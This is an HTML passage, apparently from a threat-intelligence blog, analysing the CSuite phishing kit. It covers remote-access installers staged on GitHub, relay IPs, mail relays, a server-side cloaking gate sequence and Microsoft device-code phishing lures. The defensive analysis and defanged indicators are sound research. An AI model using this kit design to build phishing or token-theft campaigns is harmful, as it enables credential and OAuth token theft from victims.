https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Auto-Redirect-270x150.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Auto-Redirect-740x412.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Auto-Redirect.png 2023w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Auto Redirect: per-provider routing of the victim after the mail address is entered<\/em><\/figcaption><\/figure>\n<\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite--1024x578.png\" alt=\"Worker Links: Cloudflare workers.dev reverse proxies stood up to keep the real domain out of the victim\u2019s address bar\" class=\"wp-image-23258\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite--1024x578.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite--300x169.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite--768x433.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite--1536x867.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite--370x209.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite--270x152.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite--740x418.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-.png 2015w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Worker Links: Cloudflare workers.dev reverse proxies stood up to keep the real domain out of the victim\u2019s address bar<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Payload staging on a public code-hosting account. The ScreenConnect installers pushed by the delivery arm are served straight from a public GitHub account, Ivan3900. Two of its raw URLs appear in the campaign\u2019s own delivery telemetry \u2014 github[.]com\/Ivan3900\/mobi\/raw\/main\/ScreenConnect.ClientSetup.msi and github[.]com\/Ivan3900\/jppp\/raw\/main\/ScreenConnect.ClientSetup.msi, both uploaded on 18 August 2026 \u2014 and a third is the one the licensing-themed batch dropper calls, github[.]com\/Ivan3900\/test\/raw\/main\/ScreenConnect.ClientSetup.msi, uploaded on 31 August 2026. The mobi and test copies are the same file; jppp carries its own build pointed at a different relay. The account holds nine repositories of this kind: lure pages committed as index.html, and beside them the installers each page hands out. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"570\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-github-1024x570.png\" alt=\"The GitHub profile with malicious repository\" class=\"wp-image-23259\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-github-1024x570.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-github-300x167.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-github-768x428.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-github-1536x855.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-github-370x206.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-github-270x150.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-github-740x412.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-github.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The GitHub profile with malicious repository<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The staged installers point at self-hosted ScreenConnect servers of their own. Four are configured across the set, all with guest access parameters: <\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-384\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"3\"\n           data-rows=\"5\"\n           data-wpID=\"384\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Relay\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Port\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"C1\"\n                    data-col-index=\"2\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Notes\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        91.92.41[.]114\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        8041\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C2\"\n                    data-col-index=\"2\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Staged in three of the repositories\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        212.189.40[.]73\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        8041\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C3\"\n                    data-col-index=\"2\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        One repository\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        155.254.26[.]180\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        8041\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C4\"\n                    data-col-index=\"2\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        One repository, delivered under an Adobe name\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        64.204.180[.]203\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        8040\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C5\"\n                    data-col-index=\"2\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Pulled by a batch dropper asAdobe.ClientSetup.msi\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-384'>\ntable#wpdtSimpleTable-384{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-384 td, table.wpdtSimpleTable384 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<p class=\"wp-block-paragraph\">The same account shows how wide the remote-management arsenal runs. Alongside ScreenConnect it stages Action1 agents renamed to Adobe_Acrobat_V6trj.msi and Dotloop AgentSetup_V34.msi, an Atera build, and two 20 MB agents carrying Syncro strings under the names Adobe_AgentInstallerV367.exe and Dotloop_AgentInstallerV367.exe. Delivery telemetry adds a fifth vendor: PDQConnectAgent_ZoomUpdater.msi, served 46 times from a Cloudflare R2 bucket alongside Zoom_InstallerX64.zip. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Two sending relays with their own DKIM.<\/strong> Lure mail leaves through mail.wirsann[.]com (188.127.227[.]18) and mail.boratlongyear[.]com (141.133.174[.]208), both on 587\/STARTTLS with a PowerMTA port on 2525. Each has a default._domainkey DKIM record published, so the selector enumerates every sending domain configured against the relay.  <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"574\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SMTP-module-1024x574.png\" alt=\"The SMTP module: two sending relays with credentials, and the Cloudflare nameserver pair the operator configures at the registrar.\" class=\"wp-image-23260\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SMTP-module-1024x574.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SMTP-module-300x168.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SMTP-module-768x431.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SMTP-module-1536x861.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SMTP-module-2048x1149.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SMTP-module-370x208.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SMTP-module-270x151.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SMTP-module-740x415.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The SMTP module: two sending relays with credentials, and the Cloudflare nameserver pair the operator configures at the registrar<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">Other Attacks Found During the Investigation <\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The same tooling and infrastructure also appeared in additional attacks that exposed different parts of the CSuite workflow. These cases help show how the operation adapts its delivery and capture methods while keeping the same underlying components. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">A Complete Deployment, Gate and Capture in One Visit <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The Adobe exports and the DocuSign build both deliver software. A third deployment of the same kit, captured in a public sandbox run on 7 July 2026, does the other job of the operation: it takes credentials, and it does so through the Chameleon module described above. It is also the run that yielded the m\/js\/utils.js gate examined at the start of this report \u2014 the same kit with none of its parts missing: <a href=\"https:\/\/app.any.run\/tasks\/54ed5064-d534-418f-9a11-d0315937fc43?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">ANY.RUN session<\/a>. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It runs from \/upload\/cgi\/ on a compromised Australian escrow site, escrowadmin[.]com[.]au, and the entry link carries the target\u2019s own address in the query string. Every step between that link and the login form is a gate: <\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-383\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"3\"\n           data-rows=\"8\"\n           data-wpID=\"383\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Step\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Request\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"C1\"\n                    data-col-index=\"2\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Purpose\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        1\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        index.html?ref=<email>\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C2\"\n                    data-col-index=\"2\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        A page titled\u00a0Verification: a dark loading screen and no content\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        2\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        config_recaptcha_public.php\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C3\"\n                    data-col-index=\"2\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Site key for reCAPTCHA v3, held in server-side configuration\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        3\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        m\/js\/utils.js,\u00a0m\/js\/captcha.js,m\/js\/fingerprint.js\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C4\"\n                    data-col-index=\"2\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        The gate itself\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        4\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        process.php?key=...&type=human&ref=<email>\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C5\"\n                    data-col-index=\"2\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Verdict recorded server-side, answered with a 302\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        5\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        router.php?vtoken=...&vtime=...\u2192\u00a0direct_loader.php?vtoken=...\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C6\"\n                    data-col-index=\"2\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        A one-time token and a timestamp, two more redirects\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        6\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        providers\/chameleon.php?ref=<base64 email>\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C7\"\n                    data-col-index=\"2\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        The credential page\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        7\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        blacklist_api.php\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C8\"\n                    data-col-index=\"2\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        The verdict posted back for reuse\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-383'>\ntable#wpdtSimpleTable-383{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-383 td, table.wpdtSimpleTable383 th { white-space: normal !important; }\n<\/style>\n\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-page-verification-1024x578.jpg\" alt=\"Step one. A page called Verification shows a loading animation while the gate runs\" class=\"wp-image-23261\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-page-verification-1024x578.jpg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-page-verification-300x169.jpg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-page-verification-768x434.jpg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-page-verification-370x209.jpg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-page-verification-270x152.jpg 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-page-verification-740x418.jpg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-page-verification.jpg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Step one. A page called Verification shows a loading animation while the gate runs<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Server-side pieces sit on both sides of the browser checks: the verdict is recorded by <strong>process.php<\/strong> before the visitor moves on, the hop to the credential page is licensed by a token with a timestamp, and <strong>blacklist_api.php<\/strong> takes the outcome back so a refused visitor stays refused. The Adobe exports carry the browser-side calls of this design and none of the server side, which is why their cloaking does nothing at all. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Device-Code Phishing Attacks <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Alongside credential phishing, <strong>CSuite uses a device-code flow that does not require the victim to enter a password on the phishing page<\/strong>. Instead, the victim receives a short code and is directed to Microsoft\u2019s legitimate device-login page. Entering the code authorizes the attacker-initiated OAuth request, giving the operator access and refresh tokens. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The three observed samples use the same Next.js frontend. The page loads its lure configuration from <strong>\/api\/lure\/config<\/strong>, initiates the device-code request through <strong>\/api\/initiate<\/strong>, copies the user code to the clipboard, and polls <strong>\/api\/status<\/strong> until authentication is completed. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The bundle includes seven lure templates: <strong>Teams, voicemail, SharePoint, DocuSign, Adobe, WeTransfer, and DocSend<\/strong>, each with its own branding and call to action. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Sample (PDF Viewer): <\/strong><a href=\"https:\/\/app.any.run\/tasks\/10ecee38-5f29-421a-9d6a-9e516ba4deeb\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>ANY.RUN session<\/strong><\/a> <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Host docsendsr[.]online, <strong>adobe <\/strong>template. The page draws an Adobe Acrobat reader with a five-page document behind a modal, titled <strong>&#8220;Secure PDF Download&#8221;,<\/strong> and offers one control: <strong>Verify with Microsoft<\/strong>. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Device-Code-Phishing-1024x578.jpg\" alt=\"The example of Device Code Phishing with PDF Viewer lure page \" class=\"wp-image-23262\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Device-Code-Phishing-1024x578.jpg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Device-Code-Phishing-300x169.jpg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Device-Code-Phishing-768x434.jpg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Device-Code-Phishing-370x209.jpg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Device-Code-Phishing-270x152.jpg 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Device-Code-Phishing-740x418.jpg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Device-Code-Phishing.jpg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The example of Device Code Phishing with PDF Viewer lure page<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The click produces the code presented as &#8220;YOUR VERIFICATION CODE&#8221; with a copy button and the instruction to paste it on the Microsoft sign-in page. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-verification-1024x578.jpg\" alt=\"Fake verification code displayed inside ANY.RUN sandbox \" class=\"wp-image-23263\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-verification-1024x578.jpg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-verification-300x169.jpg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-verification-768x434.jpg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-verification-370x209.jpg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-verification-270x152.jpg 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-verification-740x418.jpg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/fake-verification.jpg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Fake verification code displayed inside ANY.RUN sandbox<\/em> <\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Continuing opens the genuine Microsoft Login page in a second window, with the code already on the clipboard. Everything the victim sees from this point is Microsoft&#8217;s. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Sample (SharePoint): <\/strong><a href=\"https:\/\/app.any.run\/tasks\/a7708e0e-cb8d-4f78-941f-a1f4c948f3ff\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>ANY.RUN session<\/strong><\/a> <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Host selectivelife03[.]sbs, <strong>sharepoint<\/strong><strong> <\/strong>template, served over plain HTTP. The background is a mock SharePoint library, &#8220;Documents \u203a Shared with me&#8221; with blurred tiles for Q4_Report.xlsx, Project_Plan.docx and others, and the modal names one file, ENCRYPTED_DOCUMENT.PDF, while it &#8220;prepares secure verification&#8221;. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint-1024x578.jpg\" alt=\"The example of Device Code Phishing with SharePoint lure page\" class=\"wp-image-23264\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint-1024x578.jpg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint-300x169.jpg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint-768x434.jpg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint-370x209.jpg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint-270x152.jpg 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint-740x418.jpg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint.jpg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The example of Device Code Phishing with SharePoint lure page<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The code arrives with numbered instructions: copy the code, click continue, paste it to verify. The three-step wording exists because the flow needs the victim to carry the code across to another site. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint-lure-page-1024x578.jpg\" alt=\"The example of Device Code Phishing with SharePoint lure page \" class=\"wp-image-23265\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint-lure-page-1024x578.jpg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint-lure-page-300x169.jpg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint-lure-page-768x434.jpg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint-lure-page-370x209.jpg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint-lure-page-270x152.jpg 270w, 